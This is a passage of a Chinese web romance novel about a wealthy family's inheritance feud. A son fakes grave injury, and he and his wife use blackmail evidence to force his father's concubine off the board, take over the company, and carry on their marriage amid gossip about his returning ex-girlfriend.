凌绘雪不甘示弱:“可惜,大哥现在还躺在床上,不靠二哥靠谁,靠你吗?”
凌绘雨:“我哥一定会好起来,你们还是死了这份心吧。”
凌老爷躺在床上被退出来送进了重症监护室。
大家都连忙跟过去。
可是里面禁止探视,谁都不能进去。
管家看他们几个人还守在这里,过来劝大家,“几位太太,小姐,少爷,老爷一时半会还醒不来,先回去吧,这里有下人守着就行,有什么消息一定第一时间告诉大家。”
二姨太一家依依不舍地走了。
凌太太带着凌绘雨去了儿子的病房。
凌太太带着女儿刚回到儿子的病房,就见到儿媳惊喜地上前:“妈,栖珵醒了。”
凌太太和凌绘雨听到这个好消息,激动异常,立马冲到病床前。
病床上的凌栖珵听到脚步声,等着母亲走到病床旁,刚刚好睁开了眼睛。
他故作不清楚地问道:“这里是哪里?”
凌太太激动道:“这里是医院,你躺了一天一夜了,儿子你吓死妈了。”
“妈,您怎么来了?”凌栖珵故作迷茫问。
凌太太哭着道:“儿子,你再不起来,家产估计都要被二房抢走了,你知道吗,你爸也病倒了。”
凌栖珵安抚了母亲,“妈,你放心,这件事不会发生的。您先回家吧,这里有景妍就行。”
说完,凌栖珵便吩咐妻子把他助理找来。
凌太太把医生叫来看着他检查一遍,确认儿子没有大碍,便听儿子的话先回家了。
而后,王助理来到病房。
凌栖珵躺在病床上,杭景妍在一旁给他削苹果。
“你们事情查的如何,那个凶手找到了吗,找到他和二房的联系没?”
王助理汇报:“您父亲已经关照了巡捕房,他们已经抓到了那个凶手,他一口咬定是他自己干的,没人指使。但是我们还是找到了一些蛛丝马迹,他的账户在刺杀的前几天有大笔进账,而且转账户口恰恰是二姨太的情人,而且有拍到他和二姨太的情人有来往。”说着他把照片拿出来。
杭景妍在一旁接过照片和转账记录,看了看,然后给了凌栖珵。
“这样我们算是抓到她的把柄了。”
凌栖珵点头。
“拿着这个让她退出董事会,不然就交给巡捕房。”
“好。”
凌府
二姨太和一双儿女回到自己屋,她随后把手提包给了一边的丫鬟,便坐在沙发上。
凌栖珩和凌绘雪也在一旁的单人沙发上坐下来,公然目睹了自己母亲做的事情,他两都有些不知道说什么。
两兄妹互看一眼,凌绘雨嗫喏着道:“妈,报纸上的事情是真的吗?您真的这样对爹,把他气成了这样?”
二姨太瞪了女儿一眼,“真的又如何,假的又如何,你爸可以三妻四妾,我为什么不能找小鲜肉。”她顿了顿又把话题转向:“现在不是计较这些的时候,现在是个天赐良机,老头和他大儿子都躺在医院,我们可以把栖珩推出去,让他代掌公司大权。”
“妈,我们的股份不够吧,而大房的兄弟在董事会有一定的股份。”凌栖珩犹豫道。
二姨太道:“事在人为,不试试看怎么知道,而且那么多年,我也买通了几个支持者。”
夜晚
凌栖珵与妻子和助理正在商讨怎么夺权。
现在父亲病倒,他们要实施第二步。
病房的会客厅,桌面上放满了文件,都是董事会每一位成员的资料背景资料。
王助理在一旁把几个人的资料集中在一块:“这些是已经被我们掌握证据,是二房一党的。”
杭景妍在一旁好奇地翻看这一堆文件,数了数有四个人,不多不少。
凌栖珵看着这几个人的治疗,吩咐:“去查查他们有些什么把柄,一天时间。”
杭景妍拿着其中一个李董事的资料:“这个人,挺眼熟啊。好像是他的儿子投资的公司跟我家有往来吧。”
王助理在一旁道:“太好了,有杭家的股权和帮忙,肯定能成功。”
凌栖珵装作可怜兮兮对妻子道:“岳父肯帮我吗?”
杭景妍看他这幅表情,真是忍不住嫌弃,一副看穿你演戏的表情,靠近他耳边:“我有没有跟你说过,你的演技已经比我还好了。”
“他是你岳父,不帮你还帮谁?都是一根绳子上的蚂蚱,还有得选吗?”
“我回家跟他说就是了。”
凌栖珵趁这她不注意,快速地在她嘴角偷亲一口:“谢谢老婆。”
杭景妍娇嗔地推了他一
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把,眼神怨怪:“有人呢。”
商讨完,杭景妍回了凌府
在保镖的陪同下去了二姨太的屋里。
会客厅空荡荡的,只有一个丫鬟在打扫。
杭景妍站在会客厅问道:“你们二姨太呢。”
在打扫的丫鬟听到问话,放下手中的伙计起身回答道:“二姨太在楼上自己屋里。
杭景妍和保镖踏上楼梯。
保镖守在房外,她推开房门。
屋内的二姨太抬头看到来人:“你还敢来,你不怕我把你杀了。”
“我怕啊,所以我保镖都带来了。”
二姨太看着门口站着高大威武的保镖,无话可说。
她坐回椅子上,“找我干什么,拿我的照片来威胁我?”
杭景妍走到她面前坐下,道:“威胁你,确实,不过是另一份照片。”说着她从包里拿出了那一份情人联系杀手的照片。
“情人和儿子怎么选呢,我觉得这个对于女人来说的确是个难题。”
“你说如果他被抓了,会不会把你供出来。”
“你威胁我?”二姨太愤怒站起来道。
随后冷哼:“你一个小丫头片子,你以为拿着这些照片就能搬到我?现在你老公生日未卜,公公也躺在重症监护室。拿到又怎么样,你独木难支。”
“可惜要让姨娘失望了。你的杀手太菜,没能要了我的命。”凌栖珵打开门走进来道。
凌栖珵走到沙发边坐下,长腿随意交叠,精致的面容散发着冷厉,受伤的那只手臂放在沙发扶手上,他状似无意地扫过包扎的手臂,强硬道:“你说伤我一只手臂,想伤我老婆的,我会让她付出什么代价。”
他眼尾余光犀利地扫过二姨太:“趁我现在还有闲心跟你讨价还价,我建议你最好识时务,不然,我可不保证我接下来会做出什么事情,让你,你的一双儿女遭遇什么意料不到的事情。”
杭景妍见他不在医院好好躺着,竟然出来了,立马紧张地坐到他身边,语气带着焦急,“你不好好在医院躺着怎么出来了。”说着又看他的伤口,“换药没有?”、
凌栖珵抓住妻子乱摸得手,“换了。我是担心你一个人搞不定这个毒妇,才亲自来。”
杭景妍摸了摸男人的额头,确认他没有发烧才放下心来。
凌栖珵开口道:“姨娘,考虑得怎么样,坐牢或者退出董事会出让股份,二选一。”
二姨太还在挣扎。
凌栖珵道,“看来你应该再看一份资料。”
说着他打了个响指,助理拿着一份文件扔到二姨太的桌前。
二姨太打开来看,都是她的那些派别的股东的把柄。
看来他已经把他们控制在手里,自己挣扎也是无用。
她闭上眼睛,颓废道:“我退出。”
凌栖珵站起来,随意整理袖口,“看来姨娘还是知道识时务者为俊杰,我会按照市场价收购你的股份。”说着伸手从随从手中接过一份转让合同扔到二姨太面前:“签了,拿钱走人,不签,我得是办法折磨你。”
“我怎么能保证我签了这份合同就没有后顾之忧?”二姨太反问。
凌栖珵走上前,拿过那些文件,从裤袋里掏出打火机,‘哒’一声,蓝色火焰开始吞并照片。
“该你签字了。”
32. 第 32 章 月下
二姨太认命地拿起钢笔在文件尾‘刷刷’签上自己的名字,而后把钢笔随意一甩。愤恨地盯着凌栖珵道:“好了,你满意了。”
助理在一旁立马上前收回文件,拿到凌栖珵面前,他扫了一眼确认,点点头。
“记住,拿着这笔钱带着你的儿女从此从凌家消失。”凌栖珵说完朝妻子伸出手,“走,我们回家。”
杭景妍伸出手放在男人的掌心,男人的指节修长手掌宽厚温暖,牵着她的手,十指紧扣,不由得让杭景妍感到安心。
他牵着她缓步走出了这屋子,这一刻,杭景妍感觉他就像稳重的大山,温暖的港湾,无论她在哪,遇到何种险境,有他,都能化险为夷。
两人走出了二姨太的楼房,杭景妍抬头望着漆黑的天空的一轮皎月,在乌黑的院子中洒下一层银光,而四周的楼房皆已经漆黑。其他的人们已经进入了梦香。
杭景妍问身边的男人:“你是回医院还是回我们屋?”
凌栖珵望着身边的妻子,唇角微勾,当然是回屋。
“你准备告诉母亲你装病的事情了?”
凌栖珵被妻子各种问题烦到了,搂过她脖颈,唇精准地覆上她的。
辗转吸允,直到杭景妍感觉到要喘不过气来了,伸出小手垂着男人坚硬的胸膛。凌栖珵才放开了她,头抵着她的,平复着气息,小声道:“明天再说,别吵醒人。”
回到自己屋也是黑漆漆的,丫鬟们都睡了,只有橘气球耳聪目明知道主人回来了,不知从哪里跑出来迎接。
喵喵叫着,围着杭景妍走来走去。
杭景妍蹲下摸了摸‘气球’的头,“这两天忙忽略你了,小可怜。”
橘气球‘瞄’一声回应,并且跟着两人走到卧房。
一旁的凌栖珵冷眼旁观,等走到卧室时,立马以迅雷不及掩耳之势拉住杭景妍闪进卧室关上门。
把她压在门后。
“喂,你干嘛啊。”杭景妍不满地问。
凌栖珵再次覆上她的唇,并流连辗转到脸颊,而后含住她的耳垂,轻咬一口,道:“你对我都没有对它好,他是我们之间的第三者。”
听着门外‘气球’的绕门声,杭景妍被吻得全身酥软,“你连一只猫的醋都吃?”
门外的‘气球’没有坚持,见没人给它开门,自己回去睡大觉了。
等门外没声音了,杭景妍推了推身前的男人,她快喘不过气来了。
凌栖珵放开了她,径直往浴室走去。
杭景妍去更衣室换家居服,听到男人的声音,叫她帮他拿换洗衣物。
杭景妍换好衣服,走到浴室前敲门,没想到男人伸出手直接把人拉进浴室,抵在了墙上,再次覆上她的樱唇。
杭景妍断断续续道:“注意你的手,别把伤口崩了。”
男人在她耳边咬了一口:“专心点。”
杭景妍搂住男人的脖子,也在他耳后咬了一口。
“你咬我,我也咬你。”打上一个专属印记。
男人弯了弯唇角,“乐意之至。”
过了许久,杭景妍眼皮沉重地睁不开,被男人抱着冲洗一遍,等洗干净回到床上,沾到枕头便沉睡过去。
凌栖珵也从另一边上床搂住身旁的女人,闭眼沉睡。
第二天,杭景妍睁开眼,感觉全身酸痛,暗暗骂道,可恶的狗男人。她正想着找人算账,伸手摸向床的一边,已经空空如也,她这才意识到,估计人早就走了。
无奈只好拖着软软的双腿下床去洗漱,而后打开卧室房门。
绮绿早已经准备好早餐在等候,见到小姐出了房门,立马招呼:“小姐,早餐已经准备好了,快来吃吧。”
“嗯。”杭景妍应道。
刚走过去坐下,绮绿在一旁道:“姑爷一大早就走了,叫我们不要吵醒你。”一边说一边带着贱兮兮的笑容,继续打探:“你们昨天什么时候回来的?报纸上不是说姑爷重伤住院吗?原来都是假的呀!”
杭景妍并没有理会绮绿的好奇,只是吩咐,姑爷的事情不许跟任何人透露,大太太也不能说。
绮绿觉得奇怪,但是最终什么都没有问,应了下来。
杭景妍一边喝粥一边看着报纸,凌氏发生那么大的事情,股票肯定有波动,她想看看有什么最新动态。结果却看道她和凌栖珵在她学校门口拥吻的照片曝光在某些小报上。
凌家少爷夫妻感情恩爱甜蜜,送妻子上学,不舍吻别。
这标题看得杭景妍都不禁老年一红。
什么东西,这年头八卦小报真是什么都敢写了。
怪不得刚刚绮绿一脸欲言又止的。
杭景妍生气地把报纸扔一边,继续吃早餐。
吃完早餐,杭景妍收拾一下,换了一套衣服,去了自己家的公司去找父亲。
去之前给打了电话,父亲已经派人在公司门口等候。
到了公司,前台小姐立马热情上门来迎接,把她送进电梯。
等到了杭老爷办公那一层,助理已经在电梯口迎接。
“大小姐,老板已经等候多时了。”王助理殷勤在一边引路道。
杭景妍应声,跟着王助理的脚步进了办公室。
刚进去,这一层办公的人都围着王助理八卦:“这是谁啊?看着气质清冷高贵,好漂亮,之前都没见过。”
王助理回答:“老板的独生女儿。”
听到这个消息众人好像都有点失落,还以为看到了什么了不起的大新闻。
“都没有见过她来过公司,我还以为是老板养的外室呢。”一名女员工道。
王助理打了一下这个女员工的头,道:“好好工作,别整天脑子里就是装一些不干不净的东西。”
女员工被敲了一下,捂着头,哦了一声,悻悻地回了自己座位。其他人见状也都回了自己的位置。
办公室内。杭景妍关上门走到杭老爷的办公桌前,叫人:“父亲。”
杭正则抬起头看了一眼女儿:“来了,最近和栖珵相处的还好吧。”
杭景妍点头:“还好。这次我们遇到这个事情,还请父亲多多帮忙。”
杭正则点头,立马打了个电话给李董事,问候了他儿子公司运营的事情。
一番寒暄,大概十五分钟过后,杭正则挂了电话,对女儿道:“好了,他也听出了我们的意思,为了儿子也会支持你的。”
杭景妍道:“谢谢爸
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爸。”
杭正则往后靠着椅背,伸手拿过一旁的茶杯,抿一口茶,道:“凌栖珵这个年轻人,我是真的没想到,手段如此凌厉。”
杭景妍在一旁暗暗想,当然还有你女儿在推波助澜,帮他一把。
不过不想在父亲面前暴露太多,她什么也没说。
见事情完成,她也准备起身回去。
这时刚好听见了敲门声响。
“请进。”
而后,一位身着西服,身材颀长,斯文秀逸的男人开门走了进来。
走到杭正则面前汇报:“老板,这时这个月的销售记录。”
杭景妍见他们有事情要谈,起身离开。
刚刚好转身的间隙,与男人擦肩而过,不小心撞掉了手帕,正准备蹲下去捡,苏惟君先她一步捡起手帕,还给了她。
男人看着她精致秀丽的脸庞有片刻的失神。
杭景妍接过手帕,道谢,而后离开。
杭正则看到这一幕,咳了咳,让苏惟君回神。
“我女儿漂亮吧,她难得来公司一趟,你们没见过很正常。”
苏惟君这才反应过来,原来是杭家小姐,听说已经嫁给了凌家。想到这里他不禁黯然。
小声回到:“令千金光彩照人。”
杭景妍从自家公司出来去了医院。
等到了病房,发现凌栖珵正躺在病床上,凌夫人在一旁坐着,佣人给切着水果。
凌夫人见到儿媳过来,立马跟她分享好消息,“栖珵刚刚醒过来了,医生来看过了,说他恢复的不错。”
杭景妍转头看着病床上的男人一眼。
此时男人半躺在床上,一脸微笑看着她。
杭景妍脸上扯出个笑容,看着灿烂笑脸的男人,“这可真是好消息。终于可以松口气了。”
凌栖珵道:“这几天辛苦你了,老婆。也辛苦您了,妈妈。”
凌夫人:“儿子,妈妈辛苦点无所谓,就盼你好起来。否则公司快被人抢走了。”
这时,另一位佣人端了一碗粥过来,准备给凌栖珵。
见儿子要吃饭,凌夫人吞下了要说的话,等他吃完饭再说。
杭景妍上前道:“给我吧。”
她接过粥,拉过椅子坐下,用勺子沿着碗的边缘挖一勺,吹了吹,送到男人嘴边。
眼神恶狠狠地示意他张嘴。
凌栖珵接收到她的眼神,听话地张嘴吞下,从她眼神中,他读出了一些愤懑。
她还以为他不准备装了,没想到还来,演上瘾了是吧。
凌栖珵想起清早他起床时,她安静地睡颜,纯净无害,和现在带着点凶狠的模样简直判若两人。觉得煞是可爱。
不禁勾起唇角。
杭景妍瞪着他,用两个人才能听见的声音道:“笑什么笑,吃,看你演。”
凌栖珵趁这母亲那边不注意握住她伸过来的手,勾起嘴角,偷吻。
等凌栖珵吃完饭。
大太太说了准备董事会的事情,他也已经跟他哥打好招呼。
现在儿子也醒了,估计大权不会旁落。
她还不知道,在她不知道的角落,她儿子儿媳已经扫清了障碍。
33. 第 33 章
凌栖珵吃完饭,安慰母亲,“妈,您放心。”
过了一个星期,董事会如期在凌氏集团的召开。
在这之前记者们都得到了消息,纷纷在集团大楼一层蹲守。
在此之前报纸上披露,二姨太转让股份给凌大少奶奶,杭景妍。
众人哗然,如此一来,凌氏的股权构成迎来重大变化。
二房就这样提出了局。
可是,凌大少爷和大老爷都没有醒,媒体纷纷猜测杭家的大小姐刚刚嫁进凌家便夺得了凌家的大权,如何了得,却不知这其中的内幕。
医院,杭景妍收拾好,准备出发前往股东大会。
凌栖珵拿出了文件给她,“签了,以后这些都是你的。”
杭景妍还有疑问,但是想到之前在报纸上看到写二姨太的股权转到她的名下,当时她还以为是凌栖珵放的烟雾弹。
带着疑问,她打开了文件夹,里面赫然是股权装让书。
这让她有点吃惊,从没想到她面前的男人可以做到这样,那么大方。
她晃了晃手中的文件,笑了笑:“真的都给我,那么大方。”
凌栖珵回答:“我的都是你的,何况,是这一点百分之五六点的股份。”
杭景妍把文件放桌子上,拿出钢笔,毫不犹豫地签上大名。
“谢了。”
她签完名字合上文件,问道:“股东大会你去不去。”
凌栖珵反问道:“你说呢,当然去,不过你先打头阵,我后道。”
杭景妍了然一笑:“那我先走了,等会见。”
凌氏集团大楼下,杭景妍和凌太太踏上台阶,记者们一涌而上,各路问题要把他们淹没。
“凌大少奶奶,凌大少的身体情况如何?”
“您是否接替他代掌凌氏大权?”
“您是如何把二房踢出局的?”
还有别的问题问凌太太。
“凌太太您此次和儿媳一同出现是为了支持儿媳吗?”诸如此类的问题。
杭景妍和凌太太在保安的保护下勉强走进大堂。
进门之前,杭景妍留给了记者一句话:“一切答案,股东大会接受后自然会见分晓,相信到时候,必然会给你们一个惊喜。”
媒体记者听到她这样回答,更是好奇,无奈人已经进入电梯,只好继续蹲守等着第一手的信息。
杭景妍带着凌太太走进会议室,坐在了首位左侧位置上,其他的董事会的人断断续续走进来,看到久未出来的凌太太有一瞬间的吃惊,而后各就各位。
等来人齐了,杭景妍走到首位上,说道:“今天,招大家来,就是推出新的总裁,董事长在医院昏迷不醒,必须有人代替他行使权力。
“你是要我们推选你吗?凌家大少爷也在医院昏迷不醒吗,选谁?现在群龙无首。”
“大少奶奶,你好像没有凌氏的股权吧?那么你出现在凌氏董事会上,是怎么回事?代大少爷行使权力?委托书在哪里?”
凌太太见儿媳被逼问,有些紧张地看着她。
杭老爷持有凌氏股份这时也在会上,见女儿被逼问正准备开口。
“谁说我昏迷不醒,我还没死呢,就在背后诅咒我,谁给的胆子?”未见其人,先闻其声。
众人听见声音,纷纷寻着声音看向来源处。
凌栖珵推开门,迈着长腿,走进会议室。
众人见到他皆大吃一惊,倒抽一口冷气。
凌栖珵坐在上首,骨节分明的双手随意交叠,微微上挑的桃花眼微眯扫视众人,眼神犀利冷峻。
“怎么,我没死,让众位很失望?”
其他众人面面相觑,凌栖珵的支持者看见他完好无缺地出现,松了口气,而其他那些反对派则默默不敢出声。
凌栖珵随意靠着椅背,伸手指挥助理。
身后的助理上前打开文件念起来。
文件大概内容就是,凌家二太太名下百分之五的股份已经转让至杭景妍名下。
“现在,告诉你们,我太太杭景妍女士出现在这董事会的理由。”
”还有谁有异议?”凌栖珵眼风扫视众人,周身散发着冷峻凌厉的气场,压迫着其他想说话的人一句话都不敢说。
没人敢说话,凌栖珵开始主持会议。
“现在老爷子已经躺在医院昏迷不醒,下个代理人是谁,现在开始选。”
凌栖珵和凌栖珩两兄弟,董事会成员各自投票。
凌栖珩本来才占了零点五的股份,靠着妈妈的运作还有点希望。现在被凌栖珵釜底抽薪,其他仍在观望的董事会成员也选择把票投给凌栖珵。
结果毫无疑问,本来支持凌栖珩二房的四个董事被威胁反水,再加上杭老爷和凌太太,舅父的支持。
统计结果出来,毫无悬念。
除了一两个不对付的,凌栖珵成功通过投票代理凌老爷行使董事长权力。
知道结果的凌栖珩,跳起来指着那四个董事,“你们,”他气得说不出话来。
这个结果让凌栖珵很满意。
凌栖珵:“感谢各位对我的信任,未来我会带领凌氏更上一层楼。”
舅父欣慰道:“栖珵,凌氏有你领导,我们就放心了。”
凌栖珵回到:“谢谢,舅父。”
尘埃落定,会议接近尾声,凌栖珵又说了几句场面话:“希望未来各位同心协力让凌氏更上一层楼。”
一个星期的惊心动魄的继承权纠纷暂时落下了帷幕,下一场何时开启,要等到另一位关键人物的苏醒。
散会后,回到办公室。
凌太太见到儿子恢复过来,又掌握了凌氏的大权,激动得流泪,拉着儿子的手上看下看:“栖珵你恢复过来真是太好了,刚刚妈妈真是担心,我控制不了局面。”
杭景妍在一旁看着,隔空对了一个眼神,意思是自己惹的祸,自己说吧。
“妈,我其实一直没事,只是装病,对不起,害您担心了。”凌栖珵解释道。
凌太太听到这话,顿时停止了哭泣,“你没事,那为何要装病?”
舅舅在一旁听了也大吃一惊,带着疑问。
凌栖珵解释道:“当然是为了迷惑对手,在暗处下手了。”
凌太太越来越迷糊,搞得她不知道什么是真的什么是假的。
凌栖珵耐心解释:“其实是景妍意外拍到了她出轨的照片,本来我们是准备放着看看情况,没想到意外走漏了消息,被她知道了,那个女人丧心病狂地派来杀手要杀掉我和景妍,幸好我们躲得快,我只是手臂被子弹穿过,缝了几针,为了迷惑对手,攻其不备,才故意装作重伤昏迷。
凌太太听到儿子还是受伤了,又焦心不已,拉着儿子的手臂,卷起他的袖子,看见儿子被包扎的伤口,不禁又留下几滴泪。
“这个恶毒的女人,怎么没叫车撞死?害了我还不够,还想来害我儿子。”
凌栖珵安慰妈妈:“妈,我没事,再说了,正因为这样我才能抓到把柄,威胁她交出她的股份,她现在在董事会的势力全部给我们给毁了,而且她的股份已经全部转到了景妍名下。”
听到这里,凌太太还是愤愤不平,“这还是太便宜这个贱人了。”
凌栖珵道:“放心,接下来还有,我是不会放过她的。”他一边说,一边给杭景妍使眼色。
杭景妍上前拿纸巾递给婆婆,“妈妈,别哭了,栖珵这不是没事吗?这事说起来都怪我,
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都是我不注意,才让她们发现了,都是我不好。”
凌太太的注意力瞬间被转移,连忙安慰起儿媳:“怎么能怪你呢,你已经尽最大力了。”
扣扣
办公室敲门声响起。
“请进。”
杭正则推门进来。
凌栖珵当面像岳父道谢,“这次多谢岳父的帮忙。”
杭正则摆摆手,“小事一桩。看到你没事我就放心了,不然我为我女儿的未来担忧。”
杭景妍噗嗤一笑,上前牵着父亲的手:“爸,你还当真了,其实我们都是演的。”
杭正则倒是没有凌太太和舅父吃惊,稍微想想便能想出个所以然来。而后道:“幸好结果是好的,我没有看错人。”
凌栖珵回道:“多谢岳父抬爱。”
敲门声再次响起。
这次是秘书。
秘书推门进来请示,一楼大厅还有记者在等候,如何回复他们。
凌栖珵思考了一番,道:“把他们请到另外一间会议室,我和太太会回答相关问题。”
“好的。”秘书得到了指令,离开了办公室。
二十分钟后,凌栖珵与杭景妍携手走进了会议室,身后还带着秘书。
两人刚刚坐下,闪光灯便频频响起。
两人手牵着手给记者一顿猛拍,等记者拍过瘾了再来提问题。
第一个问题是针对凌栖珵的。
“凌先生,听说你之前受了重伤,现在突然出现在董事会上,是否伤已痊愈。”
“多谢关心,我从没受过重伤,也没有痊愈的说法。”
听到这个回答,媒体记者们纷纷大吃一惊,纷纷低头记录,这可是一手新闻。
“听说之前二姨太买凶杀人,意图杀害凌大少爷,这是否是真的?”
“凌二姨太今天为何没有出现在董事会上?”
“凌二姨太,为了遮盖丑闻买凶杀人,但是消息还是泄露,气死了凌老爷,这是否是真的。”
凌栖珵一一回答记者的问题:“关于姨娘是否买凶杀人的事,警局已经抓到了凶手,我相信事情到时候自有定论。”
“第二,家丑不可外扬,很遗憾让大家看到一些不堪的事情,父亲的确受到了打击进了医院,但还在治疗当中,今天董事会,只是选出代理人。”
“第三,我还要宣布一件事。”凌栖珵停顿了下,再度握紧杭景妍的手,媒体记者再次一顿猛拍。“今天,我的太太,杭景妍女士,正是加入凌氏的董事会,姨娘手里的股份,已经全部转入她的名下,成为凌氏的一份子。”
媒体记者听到这个消息更是吃惊,没想到凌大少爷那么宠妻,竟然在结婚那么短的时间内就让出那么多股份,多少女人千辛万苦嫁进豪门数年都得不到的东西,她轻而易举就得到了,在场的女记者们无不羡慕。
“恭喜凌太太。”记者对着杭景妍一顿猛拍。
“请问凌太太,现在心情如何?是不是特别高兴。”记者追问。
杭景妍拿过话筒回答:“当然是特别高兴,没想到我的另一半那么信任我,我一定会为凌氏的未来出一份力,不让他失望。”说完,转头看了身边的丈夫一眼,眉毛微挑,带着得意,又带点傲娇。
这些微小表情,都被媒体记者拍了下来。
他们想到今天早上的两人在校门口吻别的照片,不禁道:“两位真是恩爱,不像一般的豪门联姻夫妻。”
杭景妍哈哈哈大笑,道:“你们记者嘴真甜。”
凌栖珵侧脸反问:“难道他们说的不是真的吗?”
杭景妍停住了笑容,回答:“真,比珍珠都真。”
男人唇角弯了弯,摇头微笑,拿她无可奈何。
34. 第 34 章
清晨,阳光拨开云雾照耀大地。
睡得正香的杭景妍缓缓睁开了眼睛。
感觉双脚不是自己的了,又酸又软,动一下都像散架一样。全身简直像是被拆卸重装。
她转过脸,
身边的男人闭着眼沉睡,鼻梁挺翘,弯曲的眼睫毛投下一片阴影,侧脸轮廓深邃凌厉,睡着的他气势柔和许多。
但是现在杭景妍看到这张帅脸就想打人,衣冠禽兽,昨晚硬是逼着她来了一遍遍。她都求饶了还不放过她,太可恨了。
她直接一脚踹了过去。
身旁的男人精准地抓住女人柔润莹白的脚。
“踢坏了,你还用不用了。”
“你。”杭景妍小脸立马染上了绯红,跟他比不要脸,比不过。
干脆耍无赖,双手张开,“动不了了,抱我去浴室洗漱。”
凌栖珵唇角勾了勾,“遵命。”他说着直接掀开被子赤裸着起身,流畅的肌肉线条,六块腹肌,随意暴露在空气中。
杭景妍顿时闭上眼,“穿上衣服,当文明人。”
凌栖珵回头,只见小妻子闭着眼睛,耳垂通红,蔓延至脖颈,像涂抹上胭脂似的,尤其可爱。
“该看的不该看的都看过了,还那么害羞。”
他随手拿过裤子套上,“好了,可以睁开眼睛了。
杭景妍睁开了眼睛,“你是故意的是吧。”
凌栖珵觉得莫名,我怎么就是故意的了。
杭景妍没说话,反正比不要脸简直比不过,知道自己身材好,就天天拿好身材诱惑她的色鬼。
不对,被诱惑难道自己也是色鬼?
千错万错,都是这个男人的错。
凌栖珵走到床的另一侧,准备掀开被子,把她抱进浴室。
岂料,杭景妍抓住了被子边缘。
不让他掀开。
“我改主意了,看在你伤口还没好的份上,不劳烦你了。”
其实刚刚她也是在逞口舌之快,她可做不到在大白天的跟他裸程相见。
“你,你,转过身去。”
凌栖珵看透她的心思,听话地转过身。
杭景妍拿过床脚的衣服快速地闪身进了浴室。
听见浴室的关门声,凌栖珵转过身,无奈又了然地勾了勾唇角。
小姑娘还是害羞。
吃过早餐,凌栖珵送妻子去了学校。
而后去了医院
凌老爷还在重症病房没有醒。
他站在床前看着自己的父亲,内心百感交织。
虽然血缘上他们是至亲,但是他也是带给他众多童年不堪回忆的人。
对于他来说,无论他做得多好都注定得不到全部的偏爱。
小时候的他很想问为什么,长大后的他已经不想知道答案。
“父亲,你好好睡吧。”凌栖珵对着病床上的父亲道。
凌氏
办公室内,好朋友刘长轩刚刚好过来。
凌栖珵面露欣喜,“什么时候来的。”
刘长轩:“刚来,过来这边办事,顺带来看看你,应该跟你说声恭喜,终于掌握了凌氏。”
凌栖珵给好友冲了一杯咖啡,放在他面前的茶几上。
“这话说的太早,还有一些扫尾的工作,老爷子的遗嘱,万一他现在死了,估计二房分不少,还有凌栖珩那零点二,我还在想办法。”
刘长轩听他这样说点点头:“如果需要我帮忙的地方,尽管开口。”
凌栖珵:“那我就不客气了。”
学校
杭景妍和静冉在课间闲聊,其中一个女同学八卦地凑过来,问:“收到百分之8的股份的心情如何。”
问这个问题的是曾经在她的婚礼上当过女傧相的同学。
和杭景妍关系还算不错。
杭景妍也不好不回答,“感觉还不错,嫁豪门还挺爽的。”
静冉和女同学一副了然认同的表情。
静冉:“你现在知道了吧,当时你还一副要入地狱的感觉。”
杭景妍:“那是肯定的,你是不知道,我被人刺杀,侥幸躲过一劫,的确差点入地狱了,你们这是只看人吃肉没看人挨打。”
静冉和那个女同学一副听故事的紧张神情:“不是吧?”
杭景妍也不好把家族争产的内幕曝光太多,只道:“反正风险和收益并存,这可是高风险玩意。”
两人被她说得,开始对豪门带着恐惧,原来光鲜亮丽的表面下是如此的危机四伏。
见到两人被她讲的故事吓到,杭景妍也不禁觉得好笑。
就是要这样吓吓她们,不然还以为她是去享福去了。
几个人一起闲聊的当口,上次被她赏了一巴掌的余知气不过。
拿着报纸走近。
“哎呀,杨络漪要回来了。”
剩下那两个人附庸附和问:“杨络漪是谁?”
余知故意大声道:“还能是谁,凌家大少爷曾经的女朋友,当初甩了凌大少的那位。现在人家回来了,我看某些人要让位了。”她说完生怕杭景妍上来又给她一巴掌,立马跑路了。
杭景妍带着疑问看着静冉:“杨络漪?报纸上有?”说着她找出了今天的报纸来看。
的确。
上面有写到著名服装设计师,杨络漪女士近期回国。边上配有照片。
一位年轻貌美的女士身穿法国洋装,五官清秀标致,提着行李箱走下船。
看清了她的样貌,杭景妍撇嘴冷笑,把报纸扔在桌面,指尖敲打着报上人物照。
一旁的女同学,点评:“景妍,看来你这回遇到劲敌了。”
杭景妍不屑一顾,“那就放马过来吧。”
其他的两人被她的架势震撼到,表情呆滞。
静冉回过神来,神秘兮兮地往她耳边靠,小声说道:“要不要我给你送几套性感内衣诱惑他一下?”
听到这杭景妍不由想起早上的情景,不争气的脸色发红。
“你可真是不把你姐妹当人,再诱惑我就废了。”
静冉像发现什么新大陆一般,嘻嘻笑:“看来,是自作多情了。”
两人一阵嬉笑打闹。
而后杭景妍,再次看了一下报纸,玲珑精致五官,温婉江南美人。
原来狗男人喜欢这样的。
眼光还不错。
下午,凌栖珵来接人放学。
奢华的林肯汽车直接停在校门口,惹得门口的学生纷纷注目。
静冉在一旁调侃,“哎呦,有人来接,我就不去凑热闹了。”说完便离开了。
杭景妍绕过车子另一边拉开车门上车。
坐上车,望着身侧男人棱角分明的下颌,不由想到下午的报纸,气不打一处来。
“不是叫你把车子停在偏一点的地方,偏要来招蜂引蝶。”
凌栖珵见她有点生气,连忙哄道:“我的错,下次叫司机停远点。”
杭景妍还是因为他前女友的事情在根根于怀,理智来讲,她不该生气,以前的她觉得过去就过去了,但感情不由她控制,现在的她怎么都觉得不舒服。
她靠着一边车窗望着不断后退的风景,走神。
她的心里始终觉得不安。
她们这种联姻的关系感情基础薄弱,风一吹便摇摇欲坠。
她靠着车窗,幽幽开口问:“凌栖珵,你前女友如果回来找你复合,你会怎么做?”
凌栖珵皱了皱眉头,“你听到了什么风言风语?”
杭景妍没有回答他的问题,“你就说你会怎么做
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。”
凌栖珵顿了顿,答道:“你以为我是草?等着回头马?”
“在我眼里你比她好千倍,因为你不会因为困难而抛弃我,而是用你的智慧和勇气和我并肩战斗。”
杭景妍从他的话中提取到了关键信息:“原来你是被甩的那个。”
凌栖珵脸色微沉,转过脸不说话。
杭景妍像发现了新大陆一般,原来凌家大少爷,新任掌权人,也有被甩的那天。
她突然心情变好起来,不过看着他阴沉的脸色她还是决定不去揭他的伤疤了。
看着窗外的景色,杭景妍突然意识到这不是回家的路。
转过头看身边的男人:“这不是回家的路,我们要去哪?”
凌栖珵回答:“李氏面粉厂开业十周年酒会。”
杭景妍听到这个急了:“不是,我这个你叫我穿成这样跟你去酒会?”她看着自己一身的蓝黑校服。
车子在一条街上停下,司机下车替她打开车门。
凌栖珵回答:“当然不是,下车吧,带你去做造型。”
下了车,时装店的老板已经在门口等候。
进了店门,占了两排的服务员,鞠躬:“欢迎光临。”
